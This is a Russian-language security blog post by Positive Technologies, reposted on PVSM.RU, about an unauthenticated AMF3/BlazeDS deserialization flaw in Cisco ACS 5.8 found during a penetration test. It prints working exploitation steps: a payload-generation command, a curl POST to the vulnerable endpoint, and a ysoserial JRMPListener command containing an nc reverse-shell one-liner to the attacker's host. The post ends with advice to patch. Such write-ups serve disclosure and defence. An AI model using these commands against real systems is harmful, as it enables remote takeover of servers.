- PVSM.RU - https://www.pvsm.ru -
Недавно Markus Wulftange из Code White поделился [1] интересным исследованием о том, как можно атаковать веб-приложение, если оно написано на Java и использует протокол AMF3. Этот протокол можно встретить там, где используется Flash и требуется обмен данными между SWF объектом и серверной частью приложения. Протокол позволяет передавать на сервер сериализованные объекты типа flash.utils.IExternalizable. Эти объекты на стороне сервера десериализуются, происходит конверсия типов, и flash.utils.IExternalizable превращается в java.io.Externalizable. Стоит отметить, что классы, которые реализуют этот интерфейс, сами полностью контролируют процессы собственной сериализации и десериализации. Это значит, что можно постараться найти такой класс, при десериализации которого будет выполнен произвольный код.
Маркус исследовал все классы из OpenJDK 8u121, реализующие интерфейс java.io.Externalizable и обнаружил, что в их числе находятся классы sun.rmi.server.UnicastRef и sun.rmi.server.UnicastRef2, связанные с механизмом RMI. Если правильно подготовить объект одного из этих классов (инициализировать его ссылкой на хост атакующего), а затем передать его на уязвимый сервер, то JVM сервера зарегистрирует ссылку LiveRef на «удаленный объект». После этого механизм сборки мусора попытается установить JRMP соединение с указанным хостом. А как известно, протокол JRMP подразумевает обмен сериализованными объектами Java. Это можно использовать для проведения атак, связанных с десериализацией.
Однажды, во время одного из проводимых нами тестов, мы получили доступ к серверу Cisco ACS 5.8. При этом мы имели возможность подключаться к работающему серверу через веб-интерфейс. В ходе анализа веб-интерфейса мы обнаружили, что от клиента на сервер отправляются POST запросы, содержащие объекты AMF3.

Позже было замечено, что сервер принимает такие POST запросы без авторизации
Заголовки HTTP ответов говорили о том, что веб-интерфейс реализован на Java. Значит, можно попробовать провести атаку.
Скачаем оригинальный эксплоит [3] и поменяем переменные host и port. При компиляции нужно убедиться, что CLASSPATH содержит путь к библиотеке Apache BlazeDS. Запуск скомпилированного кода выведет AMF пакет: сериализованный объект класса UnicastRef, который проинициализирован ссылкой LiveRef на наш сервер.
javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload
Отправляем HTTP-запрос, содержащий сгенерированный AMF пакет на Cisco ACS и видим попытку соединения.
curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k
https://[IP адрес Cisco ACS]/acsview/messagebroker/amfsecure

Так произошло, потому что на сервере установлена уязвимая версия библиотеки Apache BlazeDS. Cisco ACS распаковал AMF пакет, десериализовал переданный нами объект, и теперь сборщик мусора пытается установить JRMP соединение на наш сервер. Если на этот запрос ответить RMI-объектом, Cisco ACS десериализует полученные данные, и выполнит наш код.
Используем утилиту ysoserial. Она выступит в роли JRMP-сервера: клиент при подключении получит объект из библиотеки CommonsCollection1, внутри которого — код для выполнения реверс-шелла.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP адрес компьютера атакующего] 80 >/tmp/f'
Теперь повторим отправку AMF пакета и получим reverse shell:

Найденная уязвимость позволяет неавторизованному атакующему выполнять произвольные команды от привилегированного пользователя. Производителем она была оценена в 9.8 балла по шкале CVSS [4]. Советуем всем, кто использует данное ПО, установить последний патч.
Уязвимое ПО:
Авторы: Михаил Ключников и Юрий Алейнов, Positive Technologies
Автор: ptsecurity
Источник [5]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/283491
Ссылки в тексте:
[1] поделился: https://codewhitesec.blogspot.ru/2017/04/amf.html
[2] Image: https://habr.com/company/pt/blog/414657/
[3] оригинальный эксплоит: https://gist.githubusercontent.com/mwulftange/317c118dfcc2c90d0420e1b438558b23/raw/d71345fb7a600f3d3ef861f0f1070c4dfab260a6/Amf3ExternalizableUnicastRef.java
[4] оценена в 9.8 балла по шкале CVSS: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180502-acs1
[5] Источник: https://habr.com/post/414657/?utm_campaign=414657
Нажмите здесь для печати.